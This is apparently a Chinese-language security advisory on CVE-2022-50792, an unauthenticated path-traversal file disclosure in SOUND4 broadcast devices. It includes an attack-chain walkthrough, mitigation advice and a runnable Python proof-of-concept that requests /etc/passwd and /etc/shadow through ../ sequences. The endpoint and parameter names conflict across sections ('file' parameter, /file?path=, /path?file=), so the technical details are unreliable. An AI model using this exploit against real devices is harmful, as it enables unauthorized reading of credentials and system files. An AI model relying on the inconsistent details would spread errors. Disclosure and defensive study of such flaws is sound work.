IPBUF安全漏洞报告
English
CVE-2022-50792 CVSS 7.5 高危

CVE-2022-50792 SOUND4 IMPACT/FIRST/PULSE/Eco 未授权文件泄露漏洞

披露日期: 2025-12-30

漏洞信息

漏洞编号
CVE-2022-50792
漏洞类型
未授权文件泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SOUND4 IMPACT/FIRST/PULSE/Eco

相关标签

未授权文件泄露目录遍历路径穿越CVE-2022-50792SOUND4广播设备信息泄露高危漏洞

漏洞概述

CVE-2022-50792是SOUND4公司生产的IMPACT、FIRST、PULSE和Eco系列广播设备中存在的一个高危安全漏洞。该漏洞影响2.x及以下所有版本,属于未授权文件泄露(Unauthenticated File Disclosure)类型。攻击者无需任何认证凭证,即可通过HTTP GET请求中构造恶意的'file'参数,读取目标系统上的任意文件。这可能导致敏感配置文件、用户凭据、系统密钥、数据库文件等机密信息泄露。攻击复杂度低且无需用户交互,CVSS评分达到7.5分。由于该设备通常部署在广播电视台站,泄露的信息可能涉及广播内容、播出计划等重要业务数据。

技术细节

该漏洞源于SOUND4设备Web管理界面未对用户输入的'file'参数进行充分的路径遍历(Path Traversal)过滤。攻击者可以通过构造包含目录遍历序列(如../)的文件路径请求,绕过安全限制访问系统任意文件。例如,使用类似/file?path=../../../../etc/passwd的请求可读取Linux系统的用户账户信息。攻击者还可能读取配置文件获取设备管理凭据、数据库连接信息、API密钥等敏感数据。由于漏洞存在于设备固件层面,攻击者获取的凭据可能用于进一步横向移动或持久化控制。攻击可通过HTTP协议远程发起,无需任何认证。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者扫描互联网或内网中暴露的SOUND4设备Web管理界面,通常使用Shodan、Censys等搜索引擎查找暴露在公网的设备
STEP 2
步骤2
漏洞探测:攻击者向目标设备的/file端点发送包含目录遍历序列的恶意请求,如/path?file=../../../../etc/passwd,验证漏洞是否存在
STEP 3
步骤3
敏感文件获取:成功利用后,攻击者读取系统配置文件(如/etc/passwd、/etc/shadow)、应用程序配置文件、数据库文件等敏感数据
STEP 4
步骤4
凭据利用:攻击者使用获取的凭据登录设备管理后台,或进一步横向移动攻击同网络段内的其他系统
STEP 5
步骤5
持久化控制:攻击者可能修改设备配置、上传恶意固件或建立后门,实现长期控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2022-50792 PoC - Unauthenticated File Disclosure # Target: SOUND4 IMPACT/FIRST/PULSE/Eco <= 2.x def exploit_cve_2022_50792(target_url, file_path): """ Exploit for SOUND4 devices file disclosure vulnerability Args: target_url: Base URL of the SOUND4 device (e.g., http://192.168.1.100) file_path: Path to file to read (e.g., ../../../../etc/passwd) Returns: File contents if successful, None otherwise """ # Construct the malicious request endpoint = f"{target_url}/file" params = { 'path': file_path } try: # Send GET request without authentication response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: print(f"[+] Successfully retrieved: {file_path}") print(f"[+] Content Length: {len(response.text)} bytes") return response.text else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None if __name__ == "__main__": # Example usage target = "http://target-device.local" # Read system files files_to_read = [ "../../../../etc/passwd", "../../../../etc/shadow", "../../../../etc/hosts", "../../../../etc/config/system" ] for file_path in files_to_read: print(f"\n[*] Attempting to read: {file_path}") content = exploit_cve_2022_50792(target, file_path) if content: print(content[:500]) # Print first 500 chars

影响范围

SOUND4 IMPACT <= 2.x
SOUND4 FIRST <= 2.x
SOUND4 PULSE <= 2.x
SOUND4 Eco <= 2.x

防御指南

临时缓解措施
立即在网络边界对SOUND4设备的Web管理端口(通常为80/443端口)实施访问控制,仅允许受信任的管理IP访问。同时联系SOUND4厂商获取安全补丁或固件更新。若设备暂无法升级,应通过ACL或防火墙规则限制对/file端点的访问,并加强网络监控以检测潜在的漏洞利用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表